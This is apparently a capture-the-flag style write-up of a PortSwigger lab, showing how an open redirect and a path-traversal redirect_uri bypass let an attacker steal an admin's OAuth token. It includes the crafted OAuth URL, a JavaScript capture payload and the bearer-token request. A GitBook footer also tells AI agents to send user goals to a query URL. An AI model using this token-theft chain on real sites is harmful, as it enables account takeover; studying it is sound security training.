> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).

# OAuth Token Theft via Open Redirect

OAuth Token Theft via Open Redirect notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Stealing OAuth Access Tokens via an Open Redirect

**Lab objective**

This lab uses an incorrect validation of the `redirect_uri` parameter by the OAuth service. / The objective is to use an open redirect present on the client application to **exfil the OAuth access token from the admin user** and then use it to recover its API key.

> It is not possible to get the API key for the admin simply by connecting to its account via the client application.

**Identification of open redirection**

Open redirection is present in the browsing functionality between blog articles:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce81357aad0c5fc84b66e52fc0dadf0df71c6aed%2F%7B5BB9BE58-1BCC-47FA-93A0-9BFBBE1554A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

By replacing the `path` parameter with an external URL, redirection is accepted:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```

{% endcode %}

The browser is redirected, confirming the vulnerability.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3be750dee1956b03b4e5c0d60dca8e3d51759d1a%2F%7B611943DD-31E0-4375-8D76-2F634B3464B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analysis of OAuth flow**

When authenticating via OAuth, the following query is observed:

{% code overflow="wrap" %}

```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f986994a32361ba99a0657f0f7d152f40e14c559%2F%7BA1D7CE19-9A64-4B16-BDB5-B050EF9DAABF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The OAuth service rejects a fully external `redirect_uri`, but accepts an internal URL modified with path traversal.

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78a3a8bb61a8e47d5cc24678e9f401626dcc21e2%2F%7B1709D5A9-8811-4102-9C60-2EEBB73EEA2B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**`redirect_uri` Validation Bypass**

Using `../` to exit the `/OAuth-callback` path, it is possible to string the open redirection:

{% code overflow="wrap" %}

```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93123c49476e7ef233d21b8b585704bc29e7102f%2F%7BA97377DB-AF25-4EE9-BF43-F73F0743DFC1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

This URL is accepted as `redirect_uri` by the OAuth provider.

**Malicious OAuth URL Construction**

The final URL sent to the victim is:

{% code overflow="wrap" %}

```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

**Fragment problem (`#`)**

The URL fragment is **never sent to the server** during an HTTP request.<br>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e40633e80cbce7be2b8b127fce282d88acff9b7%2F%7BB7692BF9-D9CC-4F02-8CA6-C3FC24537514%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

JavaScript on the client side is required to capture the token.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6c2a4fb80b94a986aa2321ce0742c40a9ae7cfb%2F%7B3DC13C12-FCE9-4AA0-9AB6-043EC4D8F0AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Token capture with JavaScript**

The following script is hosted on the Exploit Server and sent to admin:

```javascript
<script>
if (!document.location.hash) {
      window.location = 'https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net/exploit&response_type=token&nonce=-1202975070&scope=openid%20profile%20email';
} else{
   window.location = '/?' + document.location.hash.substr(1);
}
</script>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86e60cd754ab9f6af50efde036b30ac651ce01ee%2F%7B26FECF5A-61EB-41B4-B249-EDD1FA92A71D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* If no fragment is present, the victim is redirected to OAuth.
* If the fragment exists, the token is transmitted to the server via the query string.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95ce114dd887567202d8f9937b9bc092afcaafc6%2F%7B43ED8A36-E2E5-46F7-A7D2-C7B835386522%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**OAuth Token Exploitation**

The stolen token allows you to question the `/me` point of the supplier OAuth:

```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8764fae02838301aa330c5bbbd65e45d6ae3e4c%2F%7BF972478F-7A0A-478D-9428-B4B66E4BFFDA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The answer contains the administrator account information, including the API key:

{% code overflow="wrap" %}

```http
{
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Administrator",
"email":"administrator@normal-user.net",
"email_verified":true
}
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a496d9222856f3f25972a4c8ff09c9225c15103%2F%7B2F03A321-24AF-4BD8-A322-EA3FEBB70F94%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/oauth-authentication/oauth-token-theft-via-open-redirect.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
